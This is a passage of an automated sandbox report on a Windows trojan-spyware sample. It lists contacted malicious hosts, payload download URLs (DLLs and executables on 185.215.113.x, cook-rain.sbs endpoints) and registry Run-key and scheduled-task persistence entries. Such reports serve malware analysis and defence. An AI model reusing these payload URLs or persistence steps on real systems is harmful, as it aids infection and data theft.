spocs.getpocket.com	unknown	unknown	false
mdec.nelreports.net	unknown	unknown	false
content-signature-2.cdn.mozilla.net	unknown	unknown	false
support.mozilla.org	unknown	unknown	false
firefox.settings.services.mozilla.com	unknown	unknown	false
www.youtube.com	unknown	unknown	false
www.facebook.com	unknown	unknown	false
detectportal.firefox.com	unknown	unknown	false
shavar.services.mozilla.com	unknown	unknown	false
www.wikipedia.org	unknown	unknown	false

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
http://185.215.113.206/	true
https://www.google.com/sorry/index?continue=https://www.google.com/async/newtab_ogb%3Fhl%3Den-US%26async%3Dfixed:0&hl=en-US&q=EgSaEMCzGJz887kGIjD0SOwNozZEOWrN9UrLzpEcIhy9-KnUPU28Fh3fUEoMM5-jXqaUxgFh6tYlzZB7MaIyAXJKGVNPUlJZX0FCVVNJVkVfTkVUX01FU1NBR0VaAUM	false
http://185.215.113.206/68b591d6548ec281/nss3.dll	true
https://js.monitor.azure.com/scripts/c/ms.jsll-4.min.js	false
http://home.fvtekk5pn.top/LCXOUUtXgrKhKDLYSbzW1732019347	true
http://185.215.113.206/68b591d6548ec281/vcruntime140.dll	true
http://185.215.113.206/68b591d6548ec281/sqlite3.dll	true
http://185.215.113.206/68b591d6548ec281/mozglue.dll	true
p10tgrace.sbs	true
http://185.215.113.16/steam/random.exe	false

URLs from Memory and Binaries

Name	Source	Malicious
https://duckduckgo.com/chrome_newtab	074873f122.exe, 00000008.00000003.2494942743.000000000603B000.00000004.00000800.00020000.00000000.sdmp, 074873f122.exe, 0000000B.00000003.2651526269.000000000619B000.00000004.00000800.00020000.00000000.sdmp, DGDAEHCB.10.dr	false
https://duckduckgo.com/ac/?q=	074873f122.exe, 00000008.00000003.2494942743.000000000603B000.00000004.00000800.00020000.00000000.sdmp, 074873f122.exe, 0000000B.00000003.2651526269.000000000619B000.00000004.00000800.00020000.00000000.sdmp, DGDAEHCB.10.dr	false
https://cook-rain.sbs/api8	074873f122.exe, 00000008.00000003.2579126476.0000000001AA9000.00000004.00000020.00020000.00000000.sdmp, 074873f122.exe, 00000008.00000003.2548112084.0000000001AA8000.00000004.00000020.00020000.00000000.sdmp, 074873f122.exe, 00000008.00000003.2552262698.0000000001AA9000.00000004.00000020.00020000.00000000.sdmp, 074873f122.exe, 0000000B.00000003.2935419199.0000000001AA7000.00000004.00000020.00020000.00000000.sdmp, 074873f122.exe, 0000000B.00000003.2821544184.0000000001AA7000.00000004.00000020.00020000.00000000.sdmp	false
https://getpocket.cdn.mozilla.net/v3/firefox/trending-topics?version=2&consumer_key=$apiKey&locale_l	firefox.exe, 00000019.00000003.2965178095.0000014302291000.00000004.00000800.00020000.00000000.sdmp	false
https://safebrowsing.google.com/safebrowsing/clientreport/chrome-sct-auditing	chrome.exe, 00000022.00000002.2959798043.000077B0023A4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000022.00000002.2962231315.000077B0024A4000.00000004.00000800.00020000.00000000.sdmp	false
http://anglebug.com/4633	chrome.exe, 00000022.00000003.2859650615.000077B0025C0000.00000004.00000800.00020000.00000000.sdmp	false
https://anglebug.com/7382	chrome.exe, 00000022.00000003.2859650615.000077B0025C0000.00000004.00000800.00020000.00000000.sdmp	false
https://bridge.lga1.admarketplace.net/ctp?version=16.0.0&key=1696332238301000001.2&ci=1696332238417.	074873f122.exe, 00000008.00000003.2547938544.0000000001AAB000.00000004.00000020.00020000.00000000.sdmp, 074873f122.exe, 0000000B.00000003.2686802698.0000000006151000.00000004.00000800.00020000.00000000.sdmp	false
https://cook-rain.sbs/apiF	074873f122.exe, 0000000B.00000003.2935419199.0000000001AA7000.00000004.00000020.00020000.00000000.sdmp	false
https://issuetracker.google.com/284462263	chrome.exe, 00000022.00000003.2859650615.000077B0025C0000.00000004.00000800.00020000.00000000.sdmp	false
https://spocs.getpocket.com/spocs	firefox.exe, 00000019.00000003.2973829888.0000014300791000.00000004.00000800.00020000.00000000.sdmp	false
https://completion.amazon.com/search/complete?q=	firefox.exe, 00000019.00000003.2694956025.00000142FE600000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000003.2695133856.00000142FC01E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000003.2706701693.00000142FC057000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000003.2699575046.00000142FC03A000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000003.2707756326.00000142FC073000.00000004.00000800.00020000.00000000.sdmp	false
https://anglebug.com/7714	chrome.exe, 00000022.00000003.2859650615.000077B0025C0000.00000004.00000800.00020000.00000000.sdmp	false
https://cook-rain.sbs/apiez	074873f122.exe, 0000000B.00000003.2731369945.0000000001AA7000.00000004.00000020.00020000.00000000.sdmp	false
https://github.com/w3c/csswg-drafts/issues/4650	firefox.exe, 00000019.00000003.2787126144.00000143022DD000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000003.2963897482.00000143022DD000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000003.2787126144.00000143022F2000.00000004.00000800.00020000.00000000.sdmp	false
https://aka.ms/feedback/report?space=61	chromecache_177.30.dr	false
https://www.amazon.com/exec/obidos/external-search/	firefox.exe, 00000019.00000003.2694956025.00000142FE600000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000003.2695133856.00000142FC01E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000003.2706701693.00000142FC057000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000003.2699575046.00000142FC03A000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000003.2707756326.00000142FC073000.00000004.00000800.00020000.00000000.sdmp	false
http://anglebug.com/6248	chrome.exe, 00000022.00000003.2859650615.000077B0025C0000.00000004.00000800.00020000.00000000.sdmp	false
http://anglebug.com/6929	chrome.exe, 00000022.00000003.2859650615.000077B0025C0000.00000004.00000800.00020000.00000000.sdmp	false
https://github.com/mozilla-services/screenshots	firefox.exe, 00000019.00000003.2694956025.00000142FE600000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000003.2695133856.00000142FC01E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000003.2706701693.00000142FC057000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000003.2699575046.00000142FC03A000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000003.2707756326.00000142FC073000.00000004.00000800.00020000.00000000.sdmp	false
http://anglebug.com/5281	chrome.exe, 00000022.00000003.2859650615.000077B0025C0000.00000004.00000800.00020000.00000000.sdmp	false
https://youtube.com/	firefox.exe, 00000019.00000003.2788145077.00000143009A6000.00000004.00000800.00020000.00000000.sdmp	false
https://content-signature-2.cdn.mozilla.net/	firefox.exe, 00000019.00000003.2976345315.0000014300750000.00000004.00000800.00020000.00000000.sdmp	false
https://www.amazon.com/?tag=admarketus-20&ref=pd_sl_7548d4575af019e4c148ccf1a78112802e66a0816a72fc94	074873f122.exe, 00000008.00000003.2547938544.0000000001AAB000.00000004.00000020.00020000.00000000.sdmp, 074873f122.exe, 0000000B.00000003.2686802698.0000000006151000.00000004.00000800.00020000.00000000.sdmp	false
https://issuetracker.google.com/255411748	chrome.exe, 00000022.00000003.2859650615.000077B0025C0000.00000004.00000800.00020000.00000000.sdmp	false
https://anglebug.com/7246	chrome.exe, 00000022.00000003.2859650615.000077B0025C0000.00000004.00000800.00020000.00000000.sdmp	false
https://anglebug.com/7369	chrome.exe, 00000022.00000003.2859650615.000077B0025C0000.00000004.00000800.00020000.00000000.sdmp	false
https://anglebug.com/7489	chrome.exe, 00000022.00000003.2859650615.000077B0025C0000.00000004.00000800.00020000.00000000.sdmp	false
https://chrome.google.com/webstore	chrome.exe, 00000022.00000002.2953647499.000077B002220000.00000004.00000800.00020000.00000000.sdmp	false
https://www.amazon.com/	firefox.exe, 00000019.00000003.2955274985.000001430676B000.00000004.00000800.00020000.00000000.sdmp	false
https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=	074873f122.exe, 00000008.00000003.2494942743.000000000603B000.00000004.00000800.00020000.00000000.sdmp, 074873f122.exe, 0000000B.00000003.2651526269.000000000619B000.00000004.00000800.00020000.00000000.sdmp, DGDAEHCB.10.dr	false
https://bridge.lga1.ap01.net/ctp?version=16.0.0&key=1696332238301000001.1&ci=1696332238417.12791&cta	074873f122.exe, 00000008.00000003.2547938544.0000000001AAB000.00000004.00000020.00020000.00000000.sdmp, 074873f122.exe, 0000000B.00000003.2686802698.0000000006151000.00000004.00000800.00020000.00000000.sdmp	false
http://ocsp.rootca1.amazontrust.com0:	074873f122.exe, 00000008.00000003.2536018493.0000000006023000.00000004.00000800.00020000.00000000.sdmp, 074873f122.exe, 0000000B.00000003.2675524802.0000000006193000.00000004.00000800.00020000.00000000.sdmp	false
https://issuetracker.google.com/161903006	chrome.exe, 00000022.00000003.2859650615.000077B0025C0000.00000004.00000800.00020000.00000000.sdmp	false
https://ace-snapper-privately.ngrok-free.app/test/testFailed	02e4e14003.exe, 00000007.00000003.2422188662.00000000071A2000.00000004.00001000.00020000.00000000.sdmp	false
https://www.ecosia.org/newtab/	074873f122.exe, 00000008.00000003.2494942743.000000000603B000.00000004.00000800.00020000.00000000.sdmp, 074873f122.exe, 0000000B.00000003.2651526269.000000000619B000.00000004.00000800.00020000.00000000.sdmp, DGDAEHCB.10.dr	false
https://www.youtube.com/	firefox.exe, 00000019.00000003.2955274985.000001430676B000.00000004.00000800.00020000.00000000.sdmp	false
http://anglebug.com/3078	chrome.exe, 00000022.00000003.2859650615.000077B0025C0000.00000004.00000800.00020000.00000000.sdmp	false
http://anglebug.com/7553	chrome.exe, 00000022.00000003.2859650615.000077B0025C0000.00000004.00000800.00020000.00000000.sdmp	false
http://anglebug.com/5375	chrome.exe, 00000022.00000003.2859650615.000077B0025C0000.00000004.00000800.00020000.00000000.sdmp	false
https://getpocket.cdn.mozilla.net/v3/firefox/global-recs?version=3&consumer_key=$apiKey&locale_lang=	firefox.exe, 00000019.00000003.2965178095.0000014302291000.00000004.00000800.00020000.00000000.sdmp	false
http://127.0.0.1:	firefox.exe, 00000019.00000003.2970244275.00000143007C1000.00000004.00000800.00020000.00000000.sdmp	false
http://anglebug.com/5371	chrome.exe, 00000022.00000003.2859650615.000077B0025C0000.00000004.00000800.00020000.00000000.sdmp	false
https://cook-rain.sbs:443/api	074873f122.exe, 00000008.00000003.2755319528.0000000001A89000.00000004.00000020.00020000.00000000.sdmp	false
http://anglebug.com/4722	chrome.exe, 00000022.00000003.2859650615.000077B0025C0000.00000004.00000800.00020000.00000000.sdmp	false
http://anglebug.com/7556	chrome.exe, 00000022.00000003.2859650615.000077B0025C0000.00000004.00000800.00020000.00000000.sdmp	false
https://chromewebstore.google.com/	chrome.exe, 00000022.00000002.2953647499.000077B002220000.00000004.00000800.00020000.00000000.sdmp	false
http://185.215.113.16/off/def.exe	074873f122.exe, 00000008.00000003.2754766299.0000000001A7E000.00000004.00000020.00020000.00000000.sdmp, 074873f122.exe, 00000008.00000003.2755319528.0000000001A89000.00000004.00000020.00020000.00000000.sdmp, 074873f122.exe, 00000008.00000003.2755595870.0000000001A2B000.00000004.00000020.00020000.00000000.sdmp, 074873f122.exe, 00000008.00000002.2859091060.0000000001A29000.00000004.00000020.00020000.00000000.sdmp, 074873f122.exe, 0000000B.00000003.2932586362.0000000001AB5000.00000004.00000020.00020000.00000000.sdmp	false
https://spocs.getpocket.com/	firefox.exe, 00000019.00000003.2965178095.0000014302291000.00000004.00000800.00020000.00000000.sdmp	false
https://support.office.com/article/7D48285B-20E8-4B9B-91AD-216E34163BAD?wt.mc_id=EnterPK2016Examples	074873f122.exe, 0000000B.00000003.2651280539.0000000006184000.00000004.00000800.00020000.00000000.sdmp	false
http://html4/loose.dtd	02e4e14003.exe, 00000007.00000003.2422188662.00000000071A2000.00000004.00001000.00020000.00000000.sdmp	false
http://anglebug.com/6692	chrome.exe, 00000022.00000003.2859650615.000077B0025C0000.00000004.00000800.00020000.00000000.sdmp	false
https://issuetracker.google.com/258207403	chrome.exe, 00000022.00000003.2859650615.000077B0025C0000.00000004.00000800.00020000.00000000.sdmp	false
http://anglebug.com/3502	chrome.exe, 00000022.00000003.2859650615.000077B0025C0000.00000004.00000800.00020000.00000000.sdmp	false
http://anglebug.com/3623	chrome.exe, 00000022.00000003.2859650615.000077B0025C0000.00000004.00000800.00020000.00000000.sdmp	false
https://cook-rain.sbs/F	074873f122.exe, 0000000B.00000003.2821544184.0000000001AA7000.00000004.00000020.00020000.00000000.sdmp	false
http://anglebug.com/3625	chrome.exe, 00000022.00000003.2859650615.000077B0025C0000.00000004.00000800.00020000.00000000.sdmp	false
https://bugzilla.mozilla.org/show_bug.cgi?id=1584464	firefox.exe, 00000019.00000003.2787126144.00000143022DD000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000003.2963897482.00000143022DD000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000003.2787126144.00000143022F2000.00000004.00000800.00020000.00000000.sdmp	false
http://anglebug.com/3624	chrome.exe, 00000022.00000003.2859650615.000077B0025C0000.00000004.00000800.00020000.00000000.sdmp	false
http://anglebug.com/5007	chrome.exe, 00000022.00000003.2859650615.000077B0025C0000.00000004.00000800.00020000.00000000.sdmp	false
http://anglebug.com/3862	chrome.exe, 00000022.00000003.2859650615.000077B0025C0000.00000004.00000800.00020000.00000000.sdmp	false
http://anglebug.com/4836	chrome.exe, 00000022.00000003.2859650615.000077B0025C0000.00000004.00000800.00020000.00000000.sdmp	false
https://issuetracker.google.com/issues/166475273	chrome.exe, 00000022.00000003.2859650615.000077B0025C0000.00000004.00000800.00020000.00000000.sdmp	false
http://.css	02e4e14003.exe, 00000007.00000003.2422188662.00000000071A2000.00000004.00001000.00020000.00000000.sdmp	false
http://mozilla.org/MPL/2.0/.	firefox.exe, 00000019.00000003.2993334069.0000014301280000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000003.2786630687.0000014306758000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000003.2822559211.00000143068D1000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000003.2728644553.00000142FE697000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000003.2967065410.00000143011C0000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000003.2787314247.00000143013D8000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000003.2902768228.0000014302043000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000003.2822559211.00000143068CD000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000003.2731960479.00000142FE696000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000003.2787314247.000001430138C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000003.2943463017.000001430204B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000003.2989515761.00000142FA8F2000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000003.2964757012.00000143022CE000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000003.2786630687.0000014306750000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000003.2786630687.0000014306739000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000003.2908200765.00000143068CB000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000003.2716532265.00000142FC163000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000003.2786630687.0000014306760000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000003.2994819160.000001430122C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000003.2970244275.00000143007D4000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000003.2731960479.00000142FE6A3000.00000004.00000800.00020000.00000000.sdmp	false
http://anglebug.com/4384	chrome.exe, 00000022.00000003.2859650615.000077B0025C0000.00000004.00000800.00020000.00000000.sdmp	false
https://cook-rain.sbs/e	074873f122.exe, 00000008.00000003.2579126476.0000000001AA9000.00000004.00000020.00020000.00000000.sdmp, 074873f122.exe, 00000008.00000003.2548112084.0000000001AA8000.00000004.00000020.00020000.00000000.sdmp, 074873f122.exe, 00000008.00000003.2552262698.0000000001AA9000.00000004.00000020.00020000.00000000.sdmp	false
http://x1.c.lencr.org/0	074873f122.exe, 00000008.00000003.2536018493.0000000006023000.00000004.00000800.00020000.00000000.sdmp, 074873f122.exe, 0000000B.00000003.2675524802.0000000006193000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000003.2953945697.000001430677E000.00000004.00000800.00020000.00000000.sdmp	false
http://x1.i.lencr.org/0	074873f122.exe, 00000008.00000003.2536018493.0000000006023000.00000004.00000800.00020000.00000000.sdmp, 074873f122.exe, 0000000B.00000003.2675524802.0000000006193000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000003.2953945697.000001430677E000.00000004.00000800.00020000.00000000.sdmp	false
http://anglebug.com/3970	chrome.exe, 00000022.00000003.2859650615.000077B0025C0000.00000004.00000800.00020000.00000000.sdmp	false
https://outlook.live.com/default.aspx?rru=compose&to=%s	firefox.exe, 00000019.00000003.2957877378.00000142FCD31000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000003.2724315900.00000142FCD31000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000003.2718610927.00000142FCD33000.00000004.00000800.00020000.00000000.sdmp	false
https://support.mozilla.org/products/firefoxgro.all	074873f122.exe, 0000000B.00000003.2682971273.000000000627E000.00000004.00000800.00020000.00000000.sdmp	false
http://.jpg	02e4e14003.exe, 00000007.00000003.2422188662.00000000071A2000.00000004.00001000.00020000.00000000.sdmp	false
https://google-ohttp-relay-query.fastly-edge.com/2P	chrome.exe, 00000022.00000003.2823468548.00004DC80039C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000022.00000003.2822735277.00004DC800390000.00000004.00000800.00020000.00000000.sdmp	false
https://anglebug.com/7604	chrome.exe, 00000022.00000003.2859650615.000077B0025C0000.00000004.00000800.00020000.00000000.sdmp	false
https://google-ohttp-relay-join.fastly-edge.com/hj	chrome.exe, 00000022.00000003.2829685081.00004DC800684000.00000004.00000800.00020000.00000000.sdmp	false
http://anglebug.com/7761	chrome.exe, 00000022.00000003.2859650615.000077B0025C0000.00000004.00000800.00020000.00000000.sdmp	false
https://mail.yahoo.co.jp/compose/?To=%s	firefox.exe, 00000019.00000003.2957877378.00000142FCD31000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000003.2724315900.00000142FCD31000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000003.2718610927.00000142FCD33000.00000004.00000800.00020000.00000000.sdmp	false
http://anglebug.com/7760	chrome.exe, 00000022.00000003.2859650615.000077B0025C0000.00000004.00000800.00020000.00000000.sdmp	false
https://contile-images.services.mozilla.com/0TegrVVRalreHILhR2WvtD_CFzj13HCDcLqqpvXSOuY.10862.jpg	074873f122.exe, 00000008.00000003.2547938544.0000000001AAB000.00000004.00000020.00020000.00000000.sdmp, 074873f122.exe, 0000000B.00000003.2686802698.0000000006151000.00000004.00000800.00020000.00000000.sdmp	false
https://www.google.com/images/branding/product/ico/googleg_lodp.ico	074873f122.exe, 00000008.00000003.2494942743.000000000603B000.00000004.00000800.00020000.00000000.sdmp, 074873f122.exe, 0000000B.00000003.2651526269.000000000619B000.00000004.00000800.00020000.00000000.sdmp, DGDAEHCB.10.dr	false
https://contile.services.mozilla.com/v1/tiles	firefox.exe, 00000019.00000003.2953096461.000001430679F000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000003.2953096461.00000143067C4000.00000004.00000800.00020000.00000000.sdmp	false
http://anglebug.com/5901	chrome.exe, 00000022.00000003.2859650615.000077B0025C0000.00000004.00000800.00020000.00000000.sdmp	false
https://screenshots.firefox.com/	firefox.exe, 00000019.00000003.2707756326.00000142FC073000.00000004.00000800.00020000.00000000.sdmp	false
http://anglebug.com/3965	chrome.exe, 00000022.00000003.2859650615.000077B0025C0000.00000004.00000800.00020000.00000000.sdmp	false
http://anglebug.com/6439	chrome.exe, 00000022.00000003.2859650615.000077B0025C0000.00000004.00000800.00020000.00000000.sdmp	false
http://anglebug.com/7406	chrome.exe, 00000022.00000003.2859650615.000077B0025C0000.00000004.00000800.00020000.00000000.sdmp	false
https://www.google.com/search	firefox.exe, 00000019.00000003.2694956025.00000142FE600000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000003.2695133856.00000142FC01E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000003.2706701693.00000142FC057000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000003.2699575046.00000142FC03A000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000003.2707756326.00000142FC073000.00000004.00000800.00020000.00000000.sdmp	false
https://anglebug.com/7161	chrome.exe, 00000022.00000003.2859650615.000077B0025C0000.00000004.00000800.00020000.00000000.sdmp	false
https://gpuweb.github.io/gpuweb/	firefox.exe, 00000019.00000003.2787126144.00000143022DD000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000003.2963897482.00000143022DD000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000003.2787126144.00000143022F2000.00000004.00000800.00020000.00000000.sdmp	false

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
185.215.113.43	unknown	Portugal	206894	WHOLESALECONNECTIONSNL	true
172.67.155.248	cook-rain.sbs	United States	13335	CLOUDFLARENETUS	true
13.107.246.40	s-part-0012.t-0009.t-msedge.net	United States	8068	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
151.101.1.91	services.addons.mozilla.org	United States	54113	FASTLYUS	false
34.117.188.166	contile.services.mozilla.com	United States	139070	GOOGLE-AS-APGoogleAsiaPacificPteLtdSG	false
13.107.246.38	s-part-0010.t-0009.t-msedge.net	United States	8068	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
34.120.208.123	telemetry-incoming.r53-2.services.mozilla.com	United States	15169	GOOGLEUS	false
31.41.244.11	unknown	Russian Federation	61974	AEROEXPRESS-ASRU	false
142.250.176.196	unknown	United States	15169	GOOGLEUS	false
34.149.100.209	prod.remote-settings.prod.webservices.mozgcp.net	United States	2686	ATGS-MMD-ASUS	false
185.215.113.16	unknown	Portugal	206894	WHOLESALECONNECTIONSNL	false
34.107.243.93	push.services.mozilla.com	United States	15169	GOOGLEUS	false
34.107.221.82	prod.detectportal.prod.cloudops.mozgcp.net	United States	15169	GOOGLEUS	false
35.244.181.201	prod.balrog.prod.cloudops.mozgcp.net	United States	15169	GOOGLEUS	false
239.255.255.250	unknown	Reserved	unknown	unknown	false
142.251.32.110	youtube.com	United States	15169	GOOGLEUS	false
185.215.113.206	unknown	Portugal	206894	WHOLESALECONNECTIONSNL	true
34.116.198.130	home.fvtekk5pn.top	United States	139070	GOOGLE-AS-APGoogleAsiaPacificPteLtdSG	true
35.190.72.216	prod.classify-client.prod.webservices.mozgcp.net	United States	15169	GOOGLEUS	false
34.160.144.191	prod.content-signature-chains.prod.webservices.mozgcp.net	United States	2686	ATGS-MMD-ASUS	false
142.251.35.164	www.google.com	United States	15169	GOOGLEUS	false

Private

IP
192.168.2.16
192.168.2.4
127.0.0.1

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1558866
Start date and time:	2024-11-19 22:05:04 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 22m 1s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	59
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Sample name:	file.exe
Detection:	MAL
Classification:	mal100.troj.spyw.evad.winEXE@130/113@212/24
EGA Information:	Failed
HCA Information:	Failed
Cookbook Comments:	Found application associated with file extension: .exe

Warnings

Max analysis timeout: 600s exceeded, the analysis took too long
Behavior information exceeds normal sizes, reducing to normal. Report will have missing behavior information.
Exclude process from analysis (whitelisted): MpCmdRun.exe, WMIADAP.exe, SIHClient.exe, conhost.exe, svchost.exe
Excluded IPs from analysis (whitelisted): 199.232.210.172, 192.229.211.108, 142.250.80.99, 142.251.179.84, 142.251.35.174, 34.104.35.123, 35.164.125.63, 52.12.64.98, 35.80.238.59, 142.251.40.99, 23.199.50.77, 142.251.163.84, 142.250.65.174, 23.200.198.188, 23.203.106.24, 23.44.133.5, 23.44.133.25, 142.251.35.170, 142.250.72.106, 142.250.64.106, 142.250.80.10, 142.250.80.74, 142.250.80.106, 142.250.80.42, 142.250.176.202, 142.251.40.234, 142.251.41.10, 142.250.65.234, 142.250.65.202, 142.250.65.170, 142.250.81.234, 142.251.40.202, 142.251.32.106, 20.42.65.84, 20.110.205.119, 13.107.21.237, 204.79.197.237, 20.44.10.123, 142.250.176.206, 23.60.12.19, 23.60.12.50, 142.250.65.206, 52.182.143.209, 142.250.65.227, 142.250.80.78, 142.250.81.238, 142.250.65.238
Excluded domains from analysis (whitelisted): slscr.update.microsoft.com, clientservices.googleapis.com, browser.events.data.trafficmanager.net, aus5.mozilla.org, learn.microsoft.com, e11290.dspg.akamaiedge.net, a19.dscg10.akamai.net, clients2.google.com, ocsp.digicert.com, login.live.com, star-azurefd-prod.trafficmanager.net, learn.microsoft.com.edgekey.net, onedscolprdeus02.eastus.cloudapp.azure.com, update.googleapis.com, normandy-cdn.services.mozilla.com, fs.microsoft.com, shavar.prod.mozaws.net, content-autofill.googleapis.com, c-bing-com.dual-a-0034.a-msedge.net, learn.microsoft.com.edgekey.net.globalredir.akadns.net, normandy.cdn.mozilla.net, edgedl.me.gvt1.com, c.bing.com, onedscolprdcus07.centralus.cloudapp.azure.com, umwatson.events.data.microsoft.com, clients.l.google.com, location.services.mozilla.com, ciscobinary.openh264.org, c-msn-com-nsatc.trafficmanager.net, incoming.telemetry.mozilla.org, a17.rackcdn.com.mdc.edgesuite.net, onedscolprdcus05.centralus.cloudapp.azure.com, mdec.nelreports.net.ak
Execution Graph export aborted for target 074873f122.exe, PID 2996 because there are no executed function
Execution Graph export aborted for target 074873f122.exe, PID 8060 because there are no executed function
Execution Graph export aborted for target file.exe, PID 6168 because it is empty
Execution Graph export aborted for target skotes.exe, PID 2996 because there are no executed function
Execution Graph export aborted for target skotes.exe, PID 5428 because there are no executed function
HTTP sessions have been limited to 150. Please view the PCAPs for the complete data.
HTTPS sessions have been limited to 150. Please view the PCAPs for the complete data.
Not all processes where analyzed, report is missing behavior information
Report creation exceeded maximum time and may have missing disassembly code information.
Report size exceeded maximum capacity and may have missing behavior information.
Report size exceeded maximum capacity and may have missing network information.
Report size getting too big, too many NtAllocateVirtualMemory calls found.
Report size getting too big, too many NtDeviceIoControlFile calls found.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryAttributesFile calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Some HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
Some HTTPS proxied raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
VT rate limit hit for: file.exe

Simulations

Behavior and APIs

Time	Type	Description
16:07:01	API Interceptor	19225451x Sleep call for process: skotes.exe modified
16:07:16	API Interceptor	102x Sleep call for process: 074873f122.exe modified
16:07:39	API Interceptor	1160958x Sleep call for process: 02e4e14003.exe modified
16:07:41	API Interceptor	331x Sleep call for process: 7afc94686a.exe modified
16:08:08	API Interceptor	1x Sleep call for process: firefox.exe modified
21:05:59	Task Scheduler	Run new task: skotes path: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
21:07:22	Autostart	Run: HKCU\Software\Microsoft\Windows\CurrentVersion\Run 074873f122.exe C:\Users\user\AppData\Local\Temp\1007497001\074873f122.exe
21:07:30	Autostart	Run: HKCU\Software\Microsoft\Windows\CurrentVersion\Run 7afc94686a.exe C:\Users\user\AppData\Local\Temp\1007498001\7afc94686a.exe
21:07:39	Autostart	Run: HKCU\Software\Microsoft\Windows\CurrentVersion\Run ad0f88d42c.exe C:\Users\user\AppData\Local\Temp\1007499001\ad0f88d42c.exe
21:07:48	Autostart	Run: HKCU\Software\Microsoft\Windows\CurrentVersion\Run 2a8ef8d829.exe C:\Users\user\AppData\Local\Temp\1007500001\2a8ef8d829.exe
21:07:56	Autostart	Run: HKCU64\Software\Microsoft\Windows\CurrentVersion\Run 074873f122.exe C:\Users\user\AppData\Local\Temp\1007497001\074873f122.exe
21:08:05	Autostart	Run: HKCU64\Software\Microsoft\Windows\CurrentVersion\Run 7afc94686a.exe C:\Users\user\AppData\Local\Temp\1007498001\7afc94686a.exe
21:08:14	Autostart	Run: HKCU64\Software\Microsoft\Windows\CurrentVersion\Run ad0f88d42c.exe C:\Users\user\AppData\Local\Temp\1007499001\ad0f88d42c.exe
21:08:22	Autostart	Run: HKCU64\Software\Microsoft\Windows\CurrentVersion\Run 2a8ef8d829.exe C:\Users\user\AppData\Local\Temp\1007500001\2a8ef8d829.exe
